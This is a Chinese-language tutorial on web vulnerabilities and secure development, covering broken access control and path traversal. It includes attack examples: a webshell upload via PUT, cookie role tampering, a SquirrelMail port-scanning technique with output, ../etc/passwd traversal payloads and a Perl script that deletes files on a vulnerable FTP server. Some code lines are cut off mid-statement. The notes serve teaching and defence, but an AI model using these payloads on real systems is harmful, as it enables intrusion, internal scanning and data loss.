# Web 漏洞挖掘与安全开发 ## 0. 目录 - 失效的访问控制 - 失效的访问控制 - 路径穿越 - 敏感数据泄露 - 权限不合理 - CSRF - 加密失败 - 忘记加盐 - 弱随机数 - 密码算法问题 - 失效的证书信任链 - 弱编码 - 加密失败 - 注入 - 注入 - 失效的输入监测 - 命令注入 - XSS - 资源注入 - 不安全的设计 - 用户账户安全 - 报错信息 - 不安全的设计 - 安全配置错误 - 安全配置错误 - Session与Cookie - HTTP Header - 其他安全风险 - SSRF - 软件和数据完整性 - 认证和授权 - 第三方组件 ## 1. 失效的访问控制 ### 1.1 失效的访问控制:攻击者是怎么获取到其他用户信息的? - Curiosity killed the cat. - 访问控制: 访问控制是一种策略,在这种策略的控制下,用户的操作不能逾越预设好的权限边界。 - 访问控制一旦失效通常会导致**未认证信息泄露、内部数据篡改、数据删除和越权操作**等后果。 - 访问控制失效型问题通常有以下几种类型: - 系统在实现过程中违背了 **“最小权限原则” 或 “默认拒绝原则”** - 通过修改 URL 地址、内部程序状态、HTML 页面,或者使用 Cyber 工具修改 API 请求的方式**绕过访问控制**; - 通过**提供唯一 ID 的方式**预览或者修改其他账户信息及数据; - 未经过访问控制地**通过 POST、PUT 和 DELETE 方法访问 API** - 通常意义上的**提权** - 元数据操纵,比如重放或者修改 JWT(JSON Web Token)访问控制令牌,或者**通过操纵 Cookie 的方式进行提权**; - **CORS 误配置**,可以导致来自未认证源的 API 访问 - 简单攻击场景 - 1- - 这个应用在 SQL 调用中直接使用了未经验证的数据,并利用该数据进行信息查询: ```java pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery(); ``` - 在浏览器地址栏中修改 acct 参数,即可对 SQL 语句进行操纵,而在未经验证的情况下,该攻击者可以访问到其他账户的信息。 ```txt https://example.com/app/accountInfo?acct=notmyacct ``` - 2- - 一个攻击者可以很轻松地修改 URL 地址,尝试去访问他的目标链接,比如这里攻击者试图通过 URL 地址修改直接访问 admin 页面: ```txt https://example.com/app/getappInfo https://example.com/app/admin_getappInfo ``` - 如果攻击者成功访问了第二个链接,那么说明系统在权限设计和访问控制上就是存在问题 - 3- - 由于实现过程中未对用户访问参数设置边界,导致了很多越权问题的发生: ```txt https://example.com/order/?order_id=2021102617429999 ``` - 攻击者可以尝试修改上述 API 接口中的 order_id 参数,使其在程序接口上的输入合法,但是对于用户而言却是越权行为 - 4- - HTTP PUT 方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件: ```shell put /root/Desktop/shell.php ``` - 上述代码在支持 PUT 方法的环境中,上传 Webshell 进行提权;在实际运用中,若必须启用该方法,则需要对该方法涉及文件资源做好严格的访问权限控制。 - 5- - Web 应用将身份认证结果直接存储在 Cookie 中,并未施加额外的保护措施: ```shell Cookie: role=user --> Cookie: role=admin ``` - 通过在 Web 前端拦截 Cookie,并进行 Cookie 内容修改即可提权 - 6- - 有些开发者为了方便,直接在 Access-Control-Allow-Origin 中反射请求的 Origin 值: ```shell add_header "Access-Control-Allow-Origin" $http_origin; add_header "Access-Control-Allow-Credentials" "true"; ``` - 这是一个错误的 Nginx 配置示例,这样的配置意味着信任任何网站,攻击者网站可以直接跨域读取其资源内容,窃取隐私数据 - 案例实战 - 1- 意外的代理访问 - 如果一个攻击者不能直接访问目标,但是一个应用可以,这时攻击者可以发送请求到应用,再让应用转发请求到最终目标。这种情况下,攻击请求看起来像 是来自应用的访问,而非真实攻击者。这种攻击的效果很直观,可以直接绕过访问控制(如防火墙)或者隐蔽恶意请求源信息。 - 在什么情况下这种功能会变成一种漏洞: - **应用本身的权限和用户可以操纵的输入流组件所属的权限不同**;(条件 A) - **攻击者并不能够直接发送请求到最终目标资产**;(条件 B) - 攻击者能够创建一个可以被转发的请求,这个请求可能: - **指向了未授权访问的域名、端口号、IP 以及服务**;(条件 C) - **指向了被授权访问的服务,但是请求内部包含了未授权的指令、资源等**。(条件 D) - 用简单的公式来描述的话,就是只有在“**A && B && ( C || D )**”的情况下,消息转发或者代理功能才会成为一种安全风险或者安全漏洞。 - CVE-2010-1637 漏洞 - 这个漏洞会影响,SquirrelMail 1.4.20 以及更早的版本,漏洞主要的发生点是 Mail Fetch 组件,由于该组件是 SquirrelMail 的默认组件,因此该漏洞影响力还是很大的 - mail_fetch 是在 SquirrelMail 1.4.20 版本的一个默认组件: ```txt hunter@HunterdeiMac > ~/Downloads/squirrelmail-1.4.20/plugins > tree mail_fetc mail_fetch ├── README ├── class.POP3.php ├── fetch.php ├── functions.php ├── index.php ├── options.php └── setup.php 0 directories, 7 files ``` - mail_fetch 的主要功能是通过使用 fsockopen() 这个 PHP 函数来模拟 POP3 协议,并且仅支持了 POST 方式的认证,并没有对 IP 以及端口号进行检查: ```injectablephp ... if (!isset($port) || !$port) {$port = 110;} if(!empty($this->MAILSERVER)) $server = $this->MAILSERVER; if(empty($server)){ $this->ERROR = "POP3 connect: " . _("No server specified"); unset($this->FP); return false; } //加的注释 // 此处缺乏对于服务器IP及端口号的检查 $fp = @fsockopen("$server", $port, $errno, $errstr); if(!$fp) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; unset($this->FP); return false; } ... ``` - 可以发现该代码段符合“A && B && ( C || D )”的漏洞存在条件,该处应该存在失效的访问控制 - **将 SquirrelMail 变成 Nmap 扫描器**: - 服务端先返回消息的 Service,比如 SSH 这种,通过**对 TCP 服务的 Banner 信息抓取**, 可以了解目标资产提供的 Service; - 客户端先发送消息的 Service,比如 HTTP 这种,POP3 对象在建立完 TCP 三次握手之后会进入阻塞状态,**通过 fgets() 函数设置硬编码超时时间,可以判断目标端口是否开放**; - 由于仅仅支持 POST 方式认证,因此**请求是以账户为前置条件去发送的,所以 Cookie 也是需要的**。 - 那么到现在为止,我们的攻击示意图 ```shell ./squirrel-nmap [Target] [IP] [TCP_PORT] [Cookie] - Target suqiremail的URL地址 如http://target.com/sqm/ - IP 待扫描的IP地址 - TCP_PORT 尝试探测的TCP端口号 - Cookie 经过认证的Cookie ``` - 通过简单的实现,我们来看看实际的战斗威力如何: ```shell ./squirre-nmap "http://target.com/squirrelmail-1.4/" 192.168.1.4 22 "key=dTPc0" Fetching from 192.168.1.4:22 Oops, POP3 connect: Error [SSH-2.0-OpenSSH_5.1p1 Debian-3] ``` - 可以看到能够成功地对内网 IP 进行 Service 进行探测 - 安全建设方案 - 访问控制是授权或拒绝特定用户请求的过程。这个过程只有在应用开发的初始阶段就经过良好的设计,才能避免后续问题的发生。 - **优先开始设计访问控制体系** - 访问控制不仅是应用安全设计的一项主要事务,而且应当被设置在非常优先的位置,因为往往访问控制的设计在起步阶段是相对简单的,但是会很快随着功能点的增多快速复杂 化。所以,如果你考虑使用成熟的软件框架来完成访问控制,一定要确保其能够满足你未来的应用定制化需求 - **对用户的访问授权进行设计, 控制对外暴露的接口, 控制内网直接交互的接口** - **强制所有请求经过访问控制检查** - 开发一个访问控制检查层(Layer),然后确保所有请求都在某种程度上经过这个检查层。以 Java 的 filter 为例,许多自动化的请求处理机制都是能够帮助我们实现这种需求的技术 - **默认拒绝** - 这是非常简单但是有效的策略,所谓默认拒绝是指,只要一个请求没有被指明是被允许的,那么它就是被拒绝的。 - **不要硬编码角色** - 很多应用框架默认使用用户角色来进行访问控制,以下的代码形态是很常见的: ```java if (user.hasRole("admin") || user.hasRole("Manager")) { deleteAccount(); } ``` - 但是你要对这种 Role-Based 编码模式格外留意,因为它可能会带来以下几种风险: - 由于这种编码自身的特性非常脆弱,很容易**出现检查错误或者检查缺失等情况**; - 由于这种编码模型**对于多租户产品非常不友好**,很容易出现用户角色一致但是权限不一致的情况; - Role-Based 编码模型**无法适配包括以数据为核心的以及横向访问控制** - 当项目代码量攀升并且伴随着很多访问权限控制的情况出现时,**访问控制策略的审计和验证是非常困难的**。 - 因此这里我更推荐你使用这种编码方式: ```java if (user.hasAccess("DELETE_ACCOUNT")) { deleteAccount(); } ``` - 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。 - **记录所有的访问控制类事件** - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。 ### 1.2 路径穿越:你的Web应用系统成了攻击者的资源管理器? - 路径穿越 - 那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特 殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。 - 几种典型的攻击场景: - 1- - 这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里: ```shell my $dataPath = "/users/example/profiles"; my $username = param("user"); my $profilePath = $dataPath . "/" . $username; // 并没有对用户传入的username参数进行验证 open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath") print "\n"; ``` - 当用户尝试去访问自己的配置文件的时候,会组成如下路径: ```shell /users/example/prfiles/hunter ``` - 但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数: ```shell ../../../etc/passwd ``` - 通过拼接,攻击者将会得到一个完整的路径: ```shell /users/example/profiles/../../../etc/passwd ==> /etc/passwd ``` - 通过这条路径,攻击者就可以成功访问到 Linux 系统的 password 文件。 - 2- - 下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。 ```shell my $username = GetUntrustedInput(); // 黑名单方式过滤 // 对username的过滤不严格 $username = ~ s/\.\.\///; my $filename = "/home/user/" . $username; ReadAndSendFile($filename); ``` - 但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符,因此仅仅过滤掉了参数中出现的第一个../字符: ```shell ../../../etc/passwd => /home/user/../../etc/passwd ``` - 所以攻击者仍然可以通过多层拼接来实现攻击 - 3- - 如下代码也在编写中考虑到输入的不安全性,它采用了**白名单方式**,限制了路径: ```shell String path = getInputPath(); // 白名单方式过滤 // 对path的限制不够严格 if (path.startsWith("/safe_dir/")){ File f = new File(path); f.delete() f.delete() } ``` - 但是攻击者依然可以通过提供如下参数进行绕过: ```shell /safe_dir/../etc/passwd ``` - 4- - 如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入: ```html
Choose a file to upload:
``` - 如下 Java Servlet 代码通过 doPost 方法接受请求,从 HTTP Request Header 中解析文件名,然后从 Request 中读取内容后再写入本地 upload 目录 ```java public class FileUploadServlet extends HttpServlet { ... protected void doPost(HttpServletRequest request, HttpServletResponse resp response.setContentType("text/html"); PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constan // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") // extract the filename from the Http header BufferedReader br = new BufferedReader(new InputStreamReader(reque ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.l ... // output the file to the local upload directory try { // 攻击者可以修改Request中的filename进行攻击 BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLo for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { bw.write(line); bw.newLine(); bw.flush(); } } //end of for loop bw.close(); } catch (IOException ex) { ... } // output successful upload response HTML page } // output unsuccessful upload response HTML page else {...} }. .. } ``` - 上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查 filename 就直接进行了拼接,因此攻击者只需要通过 Burpsuite、ZAP 等 Proxy 应用对 Request 进行拦截和修改 filename 属性即可利用路径穿越漏洞。 - 案例实战 - CVE-2009-4194 - 该漏洞是一个目录穿越漏洞,影响的软件版本是 Golden FTP Server 4.30 Free 以及Professional 版本、4.50 版本(未验证),允许攻击者通过 DELE 命令删除任意文件。 - 启动 MiTuan 中的 CVE-2009-4194 靶机,这是一个 Windows 7 系统,内置了 Golden FTP Server 4.30 版本,并且已经预先设置好了 FTP 共享路径: ```shell C:\Users\sty\Desktop ``` - 接下来构建我们的攻击程序,为了方便我们采用 Perl 语言。如果你使用的是 Mac 电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果: ```shell use strict; use Net::FTP print "1"; my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@; $ftp->login("anonymous", "") || die $ftp->message; $ftp->cwd("/Desktop/") || die $ftp->message; # This deletes the file C:\Users\sty\test.txt $ftp->delete("../test.txt"); $ftp->quit; $ftp = undef; ``` - 通过上述的代码,我们可以看到C:\Users\sty\test.txt文件已经被删除了,我们成功穿越了 FTP Server 的限制,实现了了任意文件的删除! - 防御方案 - 在编码实现阶段: - 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式; - 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过; - 如果可能,为用户提供选项或者通过应用系统内部 ID 映射的方式进行对象访问,例如 ID 1 对应“info.txt”; - 确保 Error Message 只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。 - 在架构设计阶段: - 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过; - 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。 - 在防御建设阶段: - 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效; - 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行; - 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。